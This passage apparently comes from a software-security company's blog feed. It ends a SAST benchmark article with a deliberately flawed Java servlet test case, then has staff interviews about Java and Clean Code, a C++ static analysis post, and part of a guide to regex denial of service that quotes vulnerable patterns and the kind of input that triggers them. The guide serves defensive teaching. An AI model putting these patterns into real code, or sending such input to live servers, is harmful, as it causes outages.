The technology used to detect if user inputs are used in sensitive APIs is known as "taint analysis.". In this specific case, using taint analysis would make it relatively easy to identify patterns where a user-controlled value enters the second argument of methods like javax.servlet.http.HttpSession#putValue. By doing so, it would make it possible to detect this test case. However, this approach could also raise issues with very common development practices.

Let's now consider a slightly different test case:
public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

    response.setContentType("text/html;charset=UTF-8");

    Map map = request.getParameterMap();
    String param = "";
    if (!map.isEmpty()) {
        String[] values = map.get("BenchmarkTest00031");
        if (values != null) param = values[0];
    }

    request.getSession().putValue("lang", param); //The session variable name is now different
}
The session variable name has changed and it’s now called lang. If a SAST tool implements the logic we described earlier, it will also detect a vulnerability in this example. However, If the lang variable is used to store the language preference of the user, it is likely not a vulnerability, and detecting it would result in a false-positive. 

To detect the safe from the unsafe case, an option would be to apply keyword-based heuristics: only raise an issue if the key contains the word “secret”, “id”, “session” etc. Keyword-based heuristics are very fragile though as they usually only work for one language.

Understanding the business logic of the application is crucial in determining whether setting userid with arbitrary values is safe or not. SAST tools have a limited understanding of the application's business logic because it varies from one application to another, and inferring it from the code is often difficult or impossible.

This is why purely business logic vulnerabilities are not typically detected by static analysis. Attempting to detect them would inevitably lead to false positives on safe code and provide no value to developers.

As a result, we have excluded approximately 7% of purely business logic test cases, including those classified as 'Trust Boundary', from the OWASP Java Benchmark.

Summary

Analyzing benchmarks and vulnerable applications is a convenient way to assess SAST product's capabilities. These projects contain many relevant test cases that help us identify and overcome the limits of our analyzers. Go to SonarCloud and analyze one of the 3 benchmarks yourself to make your own opinion.
 
Benchmarks should not be considered a universal truth as they are rarely designed for the sole purpose of measuring the performance of SAST.  In some cases, vulnerabilities may be intentionally faked, making them impossible to detect.

SAST tools excel at finding issues that manifest at the code level. They provide limited value when it comes to detecting issues where part of the information is in the code, while the rest of the context is not. Vulnerability classes such as authentication or access-control flaws often require the human eye and a deep understanding of the application’s logic to be detected and remediated.




Interview with Sonar Java Enthusiasts
Tony Graham — Mon, 09 Oct 2023 22:00:00 GMT
Sonar has a soft spot for Java. Along with being one of the first languages for which we developed rules, many Sonar team members are passionate about making Java the best it can be. We spoke with three different Sonar employees, Jonathan Villa developer relations, Alexandre Gigleux product manager, and Marharyta Nedzelska developer, to find out what inspires their love of Java.

Why should I learn Java?
Jonathan Villa

There are millions of devices and thousands of applications using Java. It’s a very learning-friendly and fun language as well. So why not Java?

Check out Jonathan's full interview:
Java is one of the most popular programming languages of all time. In this video interview, Sonar Java Developer Advocate Jonathan Vila highlights its impact, best use cases, and why any developer should consider coding in Java!

Alexandre Gigleux

Java is being used by a huge number of companies all over the world. Wherever you go, you will most likely find Java running in the background. Java has been in the top five programming languages for many years so it shows there is a high demand in the market. Java is running millions of applications on multiple devices including desktop, mobile, and embedded systems.
Aside from always being able to find a job as a Java developer, Java has a vast ecosystem of open-source libraries and frameworks. It’s so cool to just rely on open-source libraries to help you do your work. Finally, Java has a huge community that is always willing to help.

Check out Alexandre's full interview:
Java is one of the most popular programming languages of all time. In this video interview, Soanr Java Developer & Product Manager Alexandre Gigleux highlights its impact, best use cases, and why any developer should consider coding in Java!

Marharyta Nedzelska

Why not Java? It’s one of the most popular programming languages in the world. A lot of websites and applications are written in Java. You use tools written in Java every day from websites to services. Even on your mobile devices, you can find a lot of Java under the hood. And isn't it just interesting to find out how it works under the hood?

Check out Marharyta's full interview:
Java is one of the most popular programming languages of all time. In this video interview, Soanr Java Developer & Software Engineer Marharyta Nedzelska highlights its impact, best use cases, and why any developer should consider coding in Java!
What are the best use cases for Java and which are better fit for another language?

Jonathan Villa

Java is mainly used in the backend but I would say it’s hard to find a use case where Java doesn’t fit. Comparing Java to other languages, like Go, it’s been said that Java lacks in performance. But nowadays, that’s not entirely true and Java has a very high level of performance. Even more so if we consider using native artifacts. 
In the past, Java took a long time to start but that’s almost solved as well making Java a great choice for about any use case.

Alexandre Gigleux

I would say forget front-end development and focus on using Java on the backend. Java would be the foundation of my business. No matter what you use to develop the front side, Java is there to support you on the backend.

Marharyta Nedzelska

I think the most widely used use case for Java is server-side development. It shines when you need the benefit from multithreads and where you need to implement high loads. Java is the best when you don’t care about fast startups but care a lot about performance. However, with the ability to compile into the native (using GraalVM, for example), Java can achieve fast startup and can be used in the cloud functions.
Java is a great general-purpose language but there are several situations where I wouldn’t use it. Things like scripting, cloud functions, and data science are best suited for other languages. Not that you couldn’t use Java but with data science, there are already a lot of libraries and infrastructure available for Python.
What are your thoughts on Java tooling and its maturity?
Jonathan Villa

Java has been around for over 25 years so there are a lot of tools and IDEs as well as a lot of extensions for those IDEs. So the developer now has a lot of help during the coding process. Same for testing, there is not one framework for testing but lots of them and they are always evolving.   
One of the strongest aspects of Java is its ecosystem. Compared to other languages, Java is old but not outdated. There is stability and maturity in the process so you won’t find things always coming and going. 

Alexandre Gigleux

Java is very mature and stable. You don’t need to learn a new framework every three months. At one point there were a lot of different frameworks on the market but now it is more mature and more stable. We estimate that the Spring framework is trusted by 80% of the market. This allows developers to focus on their projects instead of constantly learning new frameworks. 
The same can be said about Java IDE’s and libraries. Java has lots of mature proven tools that let the developers focus on the business logic and delivering value to the user.

Marharyta Nedzelska

With Java being one of the most popular languages we have a lot of proven infrastructure available to the developers. Take IDEs for example, I started with NetBeans and then used Eclipse and now it's IntelliJ. Back then they were more like just editors with some features. Nowadays IDEs are not just editors, they are extremely advanced tools, helping you to create a collaborative environment, write cleaner code, and find bugs before they even reach production.
What is a recent change to Java that gets you excited?
Jonathan Villa

One particular thing that I love in the Java ecosystem is the ahead-of-time compilation approach used by several frameworks. With ahead-of-time compilation, frameworks can create applications that are very fast and take less memory plus they can be compiled into a native artifact you can run on any Linux machine without having the JVM installed.

Alexandre Gigleux

I was pretty excited when Java 8 introduced Java Stream. This really allowed developers to write more concise and specific code for processing data. Even though it really isn’t new now, it really improved the readability and maintainability. It was easy for developers not involved in the project to come in and easily understand what the code was trying to do. 

Marharyta Nedzelska

I am excited about the move away from Java 8. There are so many new and exciting features that happened after Java 8 and we could not use them because the world was stuck on Java 8. Currently, the situation has changed, and we can finally have Records, Pattern matching, and many other cool features in our codebase.
What does Clean Code mean to you?
Jonathan Villa

Clean Code means coding better. It means taking security and performance very seriously. Not taking a Clean Code approach is costing companies a lot of money. In the US alone, poor quality code costs businesses more than 2 trillion dollars. That’s a big motivator to take a Clean Code approach. 
I know there are people who think using this approach is a hard thing to do. When you first analyze a project you may have thousands of issues. It can be overwhelming. But, by focusing only on the new code, and clean as you code, it’s very easy to implement and manage. After five years, you will only have around 30% of your old code still around. 
It not only benefits the company, but it helps the developer improve their coding skills and grow as a professional. 

Alexandre Gigleux

Clean Code means code you can be proud of many years after it has been released. It means code that is built to last, code you write for your future you. It should be easy to read, understand, and change.

Marharyta Nedzelska

Clean Code means the perfect state of code. Now, you can never really achieve 100% perfect code but Clean Code is the process of trying to achieve perfect code. Every time you touch some code, you fix some issues and bugs. It’s all about the process of trying to achieve this ideal state.
The Final Question
We asked the interviewees a personal question about their relationship with Java for the final question. 
What excites you most about being part of the Java community?
Jonathan Villa

I would say I have two professional lives. One before joining the Java community and another totally different life after joining the community. 
The community makes Java what it is after 25 years. It’s not something that other languages can say or will be able to say. The Java community gives you lots of opportunities to learn, grow, and meet amazing people. People in the community are super kind and open to sharing knowledge for free. 
Companies are benefitting from this community as well. Many community members create and maintain open-source projects on their own time that are used by many businesses. 
I definitely encourage people to join and get involved in the Java community. 
How did your drive as a Java developer bring you to Sonar?
Alexandre Gigleux

As a developer, I wanted to improve myself and my code. I wanted to make sure I was writing code that was clean. So I was looking for tools in the market that could help me accomplish this. When I came across Sonar, I thought to myself, hey, I can really help these guys implement rules that would be expected by Java developers. 
So now as a PM, I gather the pains and the mistakes of Java developers so I can provide them a product that will help them write Clean Code.
How does being a developer at Sonar allow you to help other developers?
Marharyta Nedzelska

I remember being interviewed at a conference and being asked what was next for me. Back then I had a pretty solid experience with Java, Kotlin, and Scala. So I was asked, what's next? Maybe C++? I said actually I am going to be writing static analysis and rules for Java and several of these other languages. I wanted something new in my journey and Static Analysis is the next level for me. I knew I could accomplish this here at Sonar. 

Wrap Up
A big thank you to Jonathan, Alexandre, and Marharyta, three of Sonar’s very own Java experts. 
At Sonar we deliver solutions that add value to developers and help them create Clean Code for Java. Follow us to learn more, or download our free and open-source plugin SonarLint from your favorite IDE marketplace to try it yourself.

Learn more about Clean Code and Java here.

Bios
Jonathan Villa
Java Champion, leader at BarcelonaJUG, and cofounder of JBCNConf and DevBcn conferences. Has worked as a developer for 30 years using several languages. Speaker at several conferences, he loves community....it changed his professional life

Alexandre Gigleux
I began learning Java during my time at university when it was still in its early stages (v1.2). Since then, Java has become my primary programming language, and I have been coding with it continuously. Over the years, I have worked extensively in the banking industry, where I gained a deep understanding of the importance of writing clean code and the consequences of poor code quality. It was during this time that I had the opportunity to meet the team at Sonar and decided to join them in their mission to help millions of Java developers improve their code. At Sonar, I have held various roles and currently serve as a Product Manager, focusing on the Java Ecosystem, as well as Code Security, Speed, and Cloud Native domains.

Marharyta Nedz
Marharyta is passionate about programming, learning new things, and sharing her knowledge with others. She is a big Kotlin fan and Kotlin GDE. Knows both conference sides: speaking and organizing. She organized a KUG in her native city, Kyiv, because she believes in knowledge sharing and collective intelligence. For her everyday job, she's building Static Code Analysis tools for Java, Kotlin, Scala, and other languages, helping other developers all over the world make their code better.




ISMG Interview - Securing Applications, Accelerating DevOps with Clean Code
Katie Hyman — Thu, 05 Oct 2023 13:00:00 GMT
Sonar founder and co-CEO, Olivier Gaudin, sits down with ISMG's Tom Field at Black Hat USA 2023 to discuss how development can be improved to avoid security issues.
It’s Cybersecurity Awareness Month! To kick things off, we are taking a look back at the conversation that Sonar founder and co-CEO, Olivier Gaudin, had with Information Security Media Group’s Tom Field at Black Hat USA this year. The two chatted about Clean Code, what it is and why it’s important to security, as well as the recent announcement of deeper SAST.

TOM: Hi there, I'm Tom Field. I'm Senior Vice President of editorial with Information Security Media Group talking about Clean Code. It's my privilege to welcome to the studio Olivier Gaudin, he's the founder and co-CEO of Sonar. 

OLIVIER: Thank you so much.

What is Meant by “Clean Code”
TOM: So, we're going to start with this term, Clean Code. When you say “Clean Code,” what exactly do you mean? 

OLIVIER: Okay, so what we mean is a code that is not dirty. 

TOM: I would say that settles it.

OLIVIER: And how we define it is, we define it by saying that Clean Code should be consistent, which is, if you want your developer team to be able to actually manage a code, to own it collectively, to not waste time, etc., you need to have some consistency. So we're talking about style constructions, your code has to be idiomatic, etc. It has to be intentional, any you know — without going too much into details — any resource which is not released, any user input which is not sanitized, any contradicting statement is not something you intended, so we are trying to catch this to show it to you. Code has to be adaptable, which is, you need to be able to change it. By definition, everybody expects that software will be changed. Otherwise, you should call it something else. And, code should be responsible. Should not have hard-coded secrets in the code, you shouldn't steal code from others, etc. So this is really the definition of Clean Code: consistent, intentional, adaptable, and responsible.

What’s at Risk Without Clean Code
TOM: And, we know it isn't universal these days. It's a great term but it's not broad. It's not as broadly embraced as it should be. Talk to me about what's a risk when you don't have Clean Code.

OLIVIER: Yeah, so it's all about, if you think about software, I mean, code is a main asset of software. Apart from code, you have parts that are disposable commodities, but the code is the most important asset in your software. If your code is not clean, you are actually not going to have an asset, you are going to have a liability. You are going to have something which is difficult to change which takes a long time, which every time you change, it breaks. Which the security teams are not happy about, infrastructure teams are not happy about. So basically, we talk about productivity, velocity, risk, and fragility of your application — so lots of consequences. 

The Clean as You Code Approach
TOM: Talk to me about your Clean as You Code approach and the benefits that can be found from that. 

Olivier: Yeah, so we started Sonar 15 years ago — three founders, three software engineers — that was the topic of our lives and it has since then. And what we realized very quickly is that we were having an approach to Clean Code that was not working. Even as three guys in the garage, we couldn't actually reach our objectives and we started to wonder what was wrong in our approach, and we started to wonder whether there is a business, there is a domain here that we should continue to explore. And at some stage, we realized that the way we look at the problem is not right. 

OLIVIER: We were looking at running analysis, getting some reports, and then figuring out how to fix it. And when you do that, you leave a lot of space for actually failing, and this is what happened to us. Every release we were doing, we had certain objectives, which were reasonable, ambitious, but still achievable, and we couldn't reach them. We had to kind of massage the numbers or kind of work to make the numbers, and we felt that, if we cannot do it, nobody can do it. So we started to think about what are we doing here, are we really looking at the right problem? And we realized that we are not. What we were doing, and what a lot of companies still do, is you look at the state of your code jointly and you try to improve the overall state. And this is a problem. I'm going to make a comparison — if you have a water leak at home, what do you do first? 

TOM: Find it?

OLIVIER: Yes. 

TOM: And stop it. 

OLIVIER: Yes, and then you, you will mop the floor, right? You wouldn't stop mopping the floor if you haven't fixed the leak, right? Very logical, yes. When you talk about code, it's the same. Which is, you look at the state. There is water which is already on the floor, and immediately you're like “Oh my God we need to fix this, we need to fix that, we need to fix this.” And you're engaging to this, and what happened at the same time is you still have 2,000 developers who keep pushing stuff. So once we started to realize this, and when I say this way, very obvious. 

TOM: Yes.

OLIVIER: It took us here probably a year and a half to actually realize this, and then it becomes super simple. The most important thing we should be doing is fixing the leak. Which means basically, making sure that whenever developers change code or add code, this code is going to be clean. And when you do this, suddenly, the new code — what we call the new code — is clean. But it has also a big upside, which is, because we keep changing software, we actually remediate the past. And this is what we call Clean as you Code. Which is, it's a very simple systematic but powerful way of basically remediating code throughout your application. You are paying back the legacy technical debt with this. 

Optimizing the DevOps Workflow with Clean Code
TOM: So tell me how DevOps workflows then can be optimized.

OLIVIER: So, my definition of DevOps is, it's a set of tools on processes that will enable development, to produce code linearly. And what happens is that, if you don't do Clean Code, you're going to be able to do that once, twice, you are going to be able to do one iteration, two iterations, three iterations. But at some stage, when you will want to add features, you are going to be stuck with your technical debt. Which is, you want to change something but it's breaking something else, it's difficult to read, people don't really understand the code anymore. So basically, if you have, if you deliver Clean Code — preferred approach is Clean as You Code, the most efficient one — you will be able to have a sustainable, continuous delivery.

TOM: Yeah, presumably your developer productivity and speed and delivery can be enhanced as well.

OLIVIER: Absolutely. There are two big upsides — one is really what I call the throughput, which is you can do more with the same number of people or you can do the same with less people. And your risk management, which is, you don't want that when you send your application to production, it crashes or it can be hacked. Basically, these are the two big upsides. 

Taking a Deeper Look into SAST
TOM: So, now you've made an announcement in advance of Black Hat. Can you tell me some of the details, please? 

OLIVIER: Sure. So, what we announced is that we have released what we call deeper SAST, which is a deep version that goes deeper when doing security analysis. So, if you think about the, the world of application security today, you really have two parts. One is, you analyze a code. And then the second part is you play with, I mean you, you interact with, with the application at runtime. So we focus by definition on the first. And in that, in that world of analyzing code, there are again two parts. One is to look at your own code, so you basically do static analysis to kind of understand where you have introduced vulnerabilities. On the other part is what's called dependency management SCA, OSA, etc. 

OLIVIER: And to me, one of the things that has always been very weird is both parts are code, but we look at them differently. On one side, we analyze. On the other side, we just create databases that are going to reference vulnerabilities. Why do we do this? I think historically, it's due to issues with technology performance, etc. but there is no real reason to do that anymore. We believe we should analyze both parts as being code because, at the end of the day, the libraries are just an extension of your own code — this is code you don't rewrite, you reuse basically. So this is what we do now, we analyze the whole code at once and we can find vulnerabilities that could not be found before. 

Sonar’s Differentiation
TOM: Now Olivier, the conversations you've had for years are conversations that many security leaders are having just now. This is a marketplace where software security is now embraced. In this marketplace, how does Sonar differentiate itself from other competitors? 

OLIVIER: If you have been to Black Hat and have gone around in the expo hall, you're gonna find that messages are very similar in all booths. But if you take a little step back and you think a little bit more about how people engage, it's actually very visible in messaging. Most vendors, they actually declare that they are developer friendly, they declare that they are shifting left, and they declare that sometimes they help to put developers at the service of the security team. And I think this is really what they do, which is most vendors, they actually come into play when security is being reviewed. And because there is so much friction, they realize — friction in terms of, this is coming too late and developers are also pushing back on fixing stuff — they are trying to get more into the development part. We took the totally opposite approach, which is, we are coming from the dev. Which is, we serve developers. And as a very nice side effect, it actually has a big impact on security. So it actually benefits the security team. So to me, this is the biggest difference and as we have done that since ever, we basically had to be able to please developers. Which is, our product is super fast, super well integrated, and has very few false positives, because you know what? Developers, they don't like false positives. When they see one false positive and then another one, and then a third one, the next issue — which is going to come — is going to be like, “I'm not even looking at it, it's a false positive.”

TOM: Very good. Appreciate your time, appreciate your insight. Thank you so much.

OLIVIER: Thank you very much. 

TOM: The topic has been Clean Code. You can look at the shirt — code better. My delight is speaking with Olivier Gaudin, founder and co-CEO of Sonar. For Information Security Media Group, I'm Tom Field. Thank you for your time and attention today.
Related Blog Posts
Security Guy TV Interview - Going Deeper with SAST and Clean Code
What is deeper SAST in JavaScript?




Why I’m passionate about Static Analysis and how I helped make it better
Abbas Sabra — Mon, 02 Oct 2023 22:00:00 GMT
I was recently interviewed on the C++ podcast, CppCast - “the first podcast by C++ developers, for C++ developers”.  We talked about static analysis and how I got into it in the first place. Then we talked about Automatic Analysis for C++, a feature that we have been working on for over a year and was released just last month on SonarCloud.

You can listen to the podcast here: https://cppcast.com/automatic_static_analysis/. Still, I’m going to cover most of what we talked about here, too.
How I got into static analysis
Earlier in my career, I was working in finance, where runtime efficiency is usually held up above all else - including developer efficiency. I saw much productivity lost to tooling issues that could have been avoided. I would say that we spent about 80% of our time debugging. One day, when I was working on a million-lines-of-code interest rate derivative project, I got a ticket for a bug where a calculation was coming out wrong. It took me two days to find that bug, and it turned out to be an expression with a side-effect that we relied on. Someone had moved it into a decltype. The trouble with that is that the side-effect no longer happened, impacting the calculations in the financial model.

Once I found this, I wondered if there were more cases where something similar had happened, and it occurred to me that I could write a simple script to look through the code for me. It took me less than an hour to write the script and just a few seconds to run across the whole codebase. But it found another such issue that could have led to another multi-day debugging session!

That experience got me hooked on finding things that could be quickly automated for significant productivity gains - especially when it comes to finding issues in the code - or finding patterns that might lead to issues. And that passion led me to static analysis.
The challenges of C++ tooling
Whether it’s static analysis, a code inspection tool, an IDE, or just a syntax highlighter or code formatter, C++ tooling is much more complex than most other languages. Mainly because all these tools ultimately rely on the ability to parse the language - and C++ is a complicated and resource-intensive language to parse. There are many grammatical peculiarities - such as a token changing meaning depending on what comes later or years of backward compatibility legacy - all the way back to C (and sometimes even earlier). Then there’s the preprocessor and tons of compiler extensions, which throw everything into question again. So maintaining a reliable parser for C++ is a big task for even a medium-sized team working full-time!

Things have improved since we got clang-tooling. Now, the same parser that the Clang compiler uses can be built on by other tools. However, even that is not a magic bullet. Clang-tooling can get small limited-scope projects quite far - so that’s good. Nonetheless, complex and performance-sensitive tools with a wide range of use cases, like an IDE or a full-featured static analysis tool, must deal with many extra complexities. Even before you allow for the fact that Clang is no longer the first to implement new language features, you must deal with incomplete code and exotic compiler extensions. Clang can assume the code is complete and compile based on that assumption. If it’s not, that’s a compiler error. But for something that needs to understand the code while you’re writing it - in real time - this adds a lot of extra complexity. Also, Clang has different performance constraints than the usual interactive IDE-based tools.

Unlike C++, languages with more regular syntax, typically designed with toolability in mind, are much easier to work with. That’s why, for example, IDEs for Java or C# tend to feel so much smoother and more productive - and at the same time, lighter - than those for C++, even when they are all built by the same company, like the JetBrains IDEs. Sadly, things don’t get better for tooling with “modern C++”; they even get worse! We can now write almost anything as constexpr code - which sounds like a great win. However, for tools, they now must have a full-blown C++ interpreter just to be able to parse it! Even when you aspire to use C++20 modules to solve the frequent parsing bottleneck of text-based include directives, backward compatibility always reminds you that, for C++ tooling, there is no moving forward.
Static analysis as a tool for education
We tend to think of static analysis for finding bugs - or patterns that might lead to bugs - all without compiling your code (as opposed to dynamic analysis, which works at runtime). Of course, it’s great for that. At the same time, a good static analyzer should also help you to understand why something is an issue or why there may be a better way to do something. If the spirit of Left Shifting is dealing with things at earlier and earlier stages in the pipeline, then arming you with the knowledge to avoid writing problematic code in the first place is the ultimate Left Shift. For me, that’s even more interesting. This is especially the case now that C++ is such a fast-moving target, with major new versions like C++ 20 often overturning what we consider best practices. Even the most experienced can struggle to keep up.

So, at Sonar, we strive to write good rule descriptions that help you understand the problem - and we’re constantly improving even older rules. We also have rules specifically for detecting patterns representing older usages and explaining how to update them to modern forms - and, when feasible, doing it for you. For example, static analyzers can do exceptionally well with detecting equivalent code. We build on that by detecting raw loops with a specific equivalent STL algorithm, and we encourage you to leverage the STL - perhaps using the newer range algorithms if you’re using C++20 or later. Most of us could do with making better use of the STL algorithms, so this is a great educational resource..”
Path explosion
So static analysis is great for detecting patterns in code that might lead to issues - prompting you to follow “best practices”. Detecting actual bugs - e.g., dereferencing a null pointer (where the pointer value is only known at runtime) is also possible but often much harder. It is not just harder in terms of the code needed to do the detection but harder in the mathematical sense of needing to track exponentially increasing possible states. We call this the “Path Explosion Problem”.

For example, if you write some code that, given two integers, divides one by the other, then there are various failure modes depending on the values of the integers. An obvious one is what if the denominator is zero? Now you have UB. So, you need to look at where those integers came from, their possible values, and what branches they took along the way. If you can see that, before the division, the denominator is checked against zero - and branches away if it is - we should be safe from division by zero issues. We call this theoretical stepping through stages of code “symbolic execution”. That’s reasonably achievable if that check is fairly close to the division itself. But the further away it gets, the more intermediate branches you must account for. If you cross the function boundary, then things get especially tricky. But once you have calls from other translation units, the problem becomes intractable in the general case. In some specific cases, we can do whole program analysis to catch cross-translation unit issues, but it is not feasible to do this in general. To do so accurately, you would need to effectively execute the whole program - in the analyzer - for all possible ranges of inputs. You may not even have all the source code.

But despite its limitations, symbolic execution is still very valuable; it does detect complex bugs in established codebases. It is one of the many techniques we use at Sonar to implement our rules - some of our most specialized developers are working on it.

Nonetheless, dynamic analyst tools, such as Valgrind and the Clang Sanitisers (msan, asan, ubsan, etc.), are still valuable to run alongside static analysis - although they can typically only detect issues if they are encountered at runtime. This is why I feel that detecting patterns that can lead to issues (so-called “Code Smells”) is the best contribution that static analyzers can make. If you follow these best practices, then we can usually steer clear of the actual bugs in the first place. A good example here is spotting locations where we can use abstractions like std::span or std::stringview instead of raw pointers and lengths. Better still might be to use gsl::span (from the C++ Code Guidelines Support Library), as this is also range-checked. These are all patterns we can check and warn you about - even if the code, itself, is not buggy.
How do Sonar tools fit in?
We also talked, on the episode, about the tools that we offer as part of the Sonar Solution. If you’re reading this here, you may already know about them - but it’s worth mentioning that we do have three tools and what the differences are.

SonarLint is likely to be the most familiar to many developers. It runs as a plug-in in your IDE and analyzes your code as you write - giving you real-time feedback along the lines we’ve already discussed. It also offers Quick Fixes for many issues, so it can even rewrite the code for you. That’s great for the ultimate left-shifting we talked about. But that only works if everyone is using the same tools in the same way. That’s hard to enforce in our modern heterogeneous development teams. So, we also have two services that can run as part of your server-based builds (what we sometimes call CI or CD servers). SonarQube and SonarCloud are largely the same - but you’d usually use SonarQube if you’re self-hosting or SonarCloud if you want us to host. SonarCloud is especially useful for Open Source software projects. There’s a lot more to them than just running the same analyzers on the server. They can act as quality gates on Pull Requests, for example - so you can be sure that new issues are not being introduced. They also enable our Clean as You Code process - where by doing nothing more than keeping your new commits clean, over time the whole code base (or a significant chunk with the highest churn rate) gets cleaned along the way. This prevents the common feeling of being overwhelmed when you turn on all warnings for the first time or use a new quality tool.
Automatic Analysis
One downside to the server-based tools is that they need some configuring, integrating into your toolchain, and maintaining that over time. This is often quite a bit more involved than with other language ecosystems because of the nature of C++ build systems and the wide range of compilers. If you have dedicated DevOps resources, this shouldn’t be an issue. Yet, if this is a developer’s part-time responsibility or you’re an open-source author, this can be a bit of a barrier to entry - at least just to try them out.

So, we really wanted to make all that complexity disappear and offer a zero-config option for systematically incorporating static analysis across a project. We’ve had this for some other languages for some time now, but for C++, we - even I - considered it impossible for some time. Fortunately, we had a breakthrough last year and thought we had a shot at doing it. So, since then, I’ve been leading a small team and am pleased to say that last month, we released Automatic Analysis for C++, and I have to say, it has exceeded our expectations. It works so well that we’re now suggesting this be the default way to set up C++ analysis in SonarCloud! All you need to do is give SonarCloud access to your source code and tell it to analyze it, and it goes away, figures out the most likely build options, dependencies, etc., and analyzes on that basis. The entire process takes less than a minute! See for yourself. According to the data we have from our large corpus of projects we test against internally, we get something like 95% accuracy. For compilation, only 100% is good enough, but for static analysis, 95% is actually excellent - and for most projects, you would probably not know the difference. If you have a special case you can always fall back to a manual setup approach, of course.

We’re very proud of what we have achieved. I don’t believe anyone else has been able to do this yet. What excites me is that this technology can now open up static analysis to even more developers, especially those contributing to open-source projects where this feature is free!
Learn more:

No, C++ static analysis does not have to be painful

Automatic analysis for C and C++ with SonarCloud

Try SonarCloud for free




A comprehensive guide to the dangers of Regular Expressions in JavaScript
Phil Nash — Fri, 29 Sep 2023 07:00:00 GMT
I first heard about regular expression denial of service (ReDoS) vulnerabilities from GitHub's Dependabot. Several of my projects over the years have had dependencies that suffered from ReDoS vulnerabilities, and I would bet that if you've built any JavaScript project with dependencies, you've also come across this.

This got me thinking; if there are vulnerable regular expressions in our dependencies' code, what about our application code, too? It is upon all of us who may write a regular expression to recognise when one may be vulnerable. Perhaps there's more to the saying:
Some people, when confronted with a problem, think
“I know, I'll use regular expressions.”   Now they have two problems.
In this article, we are going to look deeper into ReDoS and show what can go wrong. We'll investigate real-life examples of vulnerable regular expressions from outage reports and open source. We'll see what can go wrong with seemingly innocent regular expressions like /\s*,\s*/ or /^(.+\.)*localhost$/. We'll understand what causes expressions like these to be vulnerable and see ways to fix and avoid ReDoS issues.
What is a regular expression denial of service vulnerability?
Due to the way that many regular expression engines work it is possible to write an expression that, with the right input, will cause the engine to take a long time to evaluate. In JavaScript, this will occupy the main thread and halt the event loop until the expression has been completely evaluated.

In the front end, this will cause the main thread to hang, stopping animations and other events. In the back end, this will block the main thread and prevent the server from being able to serve other requests or process other events. So that's a bad user experience in the browser and on the server, an issue that may also bring your entire application down leading to a bad experience for everyone involved.
Does this really happen?
In 2016 Stack Overflow experienced a 34-minute outage, in 2019 CloudFlare experienced 27 minutes of downtime. In each case, a ReDoS started a chain of events that led to a full outage. Neither incident was due to anything malicious, just a couple of regular expressions that no one expected to cause an issue ballooning up to full CPU usage. We'll take a look at each of the regular expressions that caused these outages throughout this article.

As I wrote above, ReDoS vulnerabilities also manifest in npm packages which your application may rely on. ReDoS issues have been found in the regular expressions of well-known packages like minimatch, moment, and node-fetch, each responsible for millions of downloads a week.

There are plenty of places you might write a regular expression within an application, for example; parsing data out of user input, replacing subsections of text, or validating user input. Since ReDoS vulnerabilities depend on the combination of a vulnerable regular expression with problematic user input, and we can't control user input, this is where regular expressions can get dangerous. So let's look at what causes a ReDoS and how we can avoid it.
Backtracking
It might not seem obvious, but most problems with regular expressions stem from failing to match part of the string they are being evaluated against. Matching is easy, but not matching can cause a process called backtracking where the regular expression engine will go back over choices that it made and try alternatives.
Lost in spaces
Let's have a look at an example. In the Stack Overflow outage, the offending regular expression was /^[\s\u200c]+|[\s\u200c]+$/. Let's break down what each part means:

The ^ matches the start of a line and the $ matches the end of the line
\s matches whitespace characters like tab and space
\u200c is a Unicode zero-width space that isn't otherwise matched by \s
Square brackets create a character class that matches any character within the brackets
The + is a quantifier that matches 1 or more characters
The | is a disjunction, an "or", it gives alternatives for the expression to match

Put together, the expression looks for one or more whitespace characters at the start of a line or one or more whitespace characters at the end of a line. It was being used to trim whitespace from the beginning or end of a line.

This works great if the string begins or ends with a whitespace character. However, if a string ends with a lot of space characters and then a non-space character it will cause an issue. For Stack Overflow, a post that contained around 20,000 unbroken whitespace characters, but did not begin or end with one, caused the issue.
Why is it a problem?
Let's investigate why this was an issue with an example that is easier to see. The regular expression /a+$/ checks for a string that has 1 or more "a" characters at the end (it's easier to see the character "a" instead of whitespace).

Consider the string "aaaaab". We can see immediately that this doesn't match, but that's not how a regular expression engine works. It matches the first "a" then the + quantifier tells it to match as many more as it can, so it matches the next four characters all the way up until the "b". Because it met a "b" and not the end of the line the match fails.
(aaaaa)b
But the evaluation isn't done yet. The engine backtracks to where it started the match, discards the first "a" and starts again with the second "a". Now it matches the next three characters, meets the "b" and fails the match.
a(aaaa)b
It then backtracks again, starting with the third "a" and repeats for the fourth and fifth as well.
aa(aaa)b
aaa(aa)b
aaaa(a)b
Once it exhausts all the possible starting points it finally decides there is no match and the expression fails completely.
For each "a" we add to the string, the entire length of the string needs to be checked one more time. This makes the complexity of checking this string O(n²) or quadratic time.

On a small string, this is fine. It takes 22 steps to check "aaaaab", 29 steps to check "aaaaaab" and 37 steps to check "aaaaaaab". But when you have 20,000 characters to check, like Stack Overflow did, it takes about 200 million steps and that is enough to keep a server hanging a long time. You can check this out in the regex101 debugger.
JavaScript examples
Stack Overflow is built in .NET, but this is the sort of thing that can affect a JavaScript project too. For example, the http-cache-semantics package used to use the regular expression /\s*,\s*/ to split the Cache-Control header by commas and trim the whitespace on each side. From what we know about backtracking now, any amount of whitespace would start this search and as long as there wasn't a comma at the end of the whitespace, it would start the backtracking. Send a request with a Cache-Control header full of whitespace and you could crash any server that used a vulnerable version of this package.
Solving backtracking issues
In these cases, the use of the * or + quantifiers followed by another character or a boundary is the problem.

The regular expressions /\s*,/ and /[\s\u200c]*$/ both give the engine license to keep checking whitespace characters as long as they are present and not followed by a comma or the end of the line, and then backtrack once the match fails.
Limit the expression or the input
There's no perfect way to solve this problem with just regular expressions. One option is to put a limit on how many characters the expression will match, which will limit how long it can spend trying to make matches. Instead of /\s*,/ try /\s{0,64},/.

Alternatively, if possible, you can restrict the length of the string input.
Use other string methods
Finally, in both the Stack Overflow and http-cache-semantics cases, the regular expression was used to trim whitespace from the string. In JavaScript, you can avoid the problem altogether by using the string function trim. This is how it was fixed in http-cache-semantics. The exact fix can be seen in GitHub, but a simplified version of the original code looked like this:
const parts = header.split(/\s*,\s*/);

for (let part of parts) {
  // do stuff with part of header
}
The code still uses a regular expression to split the header string on commas, but the job of trimming the whitespace is now done by the trim function:
const parts = header.split(/,/);

for (let part of parts) {
  part = part.trim();
  // do stuff with part of header
}
Sometimes regular expressions are not the answer.
Catastrophic backtracking
Regular backtracking over very long strings of almost-matches is bad, but we can come up with something far worse in a regular expression. Let's take a look at another example.

